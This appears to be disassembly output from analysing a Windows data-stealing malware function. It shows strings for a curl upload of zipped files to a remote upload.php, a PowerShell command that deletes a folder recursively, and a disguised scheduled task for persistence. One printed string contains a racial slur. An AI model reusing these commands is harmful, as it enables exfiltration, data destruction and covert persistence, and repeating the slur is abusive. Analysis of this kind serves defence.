Function at 0x401b2a
Capabilities:
Contain obfuscated stackstrings
Execute command
Schedule task via schtasks

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x948
call sym._check_curl
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x401b4d
mov dword [esp], str.__Curl_installed
call sym._puts
mov dword [ebp - 0x4a], 0x6f6d6962
mov dword [ebp - 0x46], 0x6c68746e
mov word [ebp - 0x42], 0x79
lea eax, [ebp - 0x4a]
mov dword [esp], eax
call sym._get_current_ip
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], str.SERVER_IP:__s_n
call sym._printf
mov dword [ebp - 0x50], 0x6c696164
mov word [ebp - 0x4c], 0x79
mov dword [esp], 0x422408
call sym._run_keygen
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._base64_encode
mov dword [ebp - 0x28], eax
mov dword [ebp - 0xc], 0
jmp 0x401be3
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
lea ecx, [ebp - 0x6e]
mov edx, dword [ebp - 0xc]
add edx, ecx
mov byte [edx], al
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 6
jbe 0x401bca
mov byte [ebp - 0x67], 0
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._SHA256
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x10], 0
jmp 0x401c20
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx eax, byte [eax]
lea ecx, [ebp - 0x8c]
mov edx, dword [ebp - 0x10]
add edx, ecx
mov byte [edx], al
add dword [ebp - 0x10], 1
cmp dword [ebp - 0x10], 6
jbe 0x401c04
mov byte [ebp - 0x85], 0
lea eax, [ebp - 0x8c]
mov dword [esp + 8], eax
lea eax, [ebp - 0x6e]
mov dword [esp + 4], eax
mov dword [esp], str._nYOU_NIGGER___USER:__s___tPW:__s_n_n
call sym._printf
mov dword [esp], 0x444260
call sym._get_files_in_folder
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x401c6b
mov dword [esp], str.File_count_failed
call sym._puts
mov dword [esp + 0xc], str.AppDataLocalPackagesMicrosoft.Windows.Quickstart_n1yecw5wyh2tx
mov dword [esp + 8], 0x444540
mov dword [esp + 4], str.C:Users_s_scurl.exe
lea eax, [ebp - 0x154]
mov dword [esp], eax
call sym._sprintf
call sym._get_uid
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x14], 1
jmp 0x401dac
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x444260
mov dword [esp + 4], str._s_s.zip.part_d
lea eax, [ebp - 0x7f8]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x7f8]
mov dword [esp + 4], eax
mov dword [esp], str.FILE:__s_n
call sym._printf
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s.zip.part_d
lea eax, [ebp - 0x604]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0x18], 0x41f084
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x7f8]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x8c]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x6e]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_curl.exe__u__s:_s__F__file__s__http:___s:_s_uploads_upload.php
lea eax, [ebp - 0x924]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x924]
mov dword [esp + 4], eax
mov dword [esp], str.UPLOAD_STRING:__s_n
call sym._printf
lea eax, [ebp - 0x924]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x401d86
mov dword [esp], str.__Upload_SUCCESS
call sym._puts
jmp 0x401d9c
mov dword [esp], str.__File_uploaded_FAIL
call sym._puts
mov eax, 1
jmp 0x401e78
mov dword [esp], 0xa
call dbg.sleep
add dword [ebp - 0x14], 1
mov eax, dword [0x444528]
cmp eax, dword [ebp - 0x14]
jae 0x401ca5
mov dword [esp + 8], 0x444260
mov dword [esp + 4], str.powershell_Remove_Item__LiteralPath__s__Force__Recurse
lea eax, [ebp - 0x21c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x21c]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x401dfb
mov dword [esp], str.__Removal_failed
call sym._puts
mov dword [esp + 0x10], str.win32op.exe
mov dword [esp + 0xc], str.AppDataLocalPackagesMicrosoft.Windows.Quickstart_n1yecw5wyh2tx
mov dword [esp + 8], 0x444540
mov dword [esp + 4], str.C:Users_s_s_s
lea eax, [ebp - 0x410]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x410]
mov dword [esp + 8], eax
mov dword [esp + 4], str.schtasks__CHANGE__tn__DataRestoreSettings___sc_hourly__mo_2__tr___s_a_
lea eax, [ebp - 0x2e4]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x2e4]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x401e73
mov dword [esp], str.__Reset_schtask_failed
call sym._puts
mov eax, 1
jmp 0x401e78
mov eax, 0
leave
ret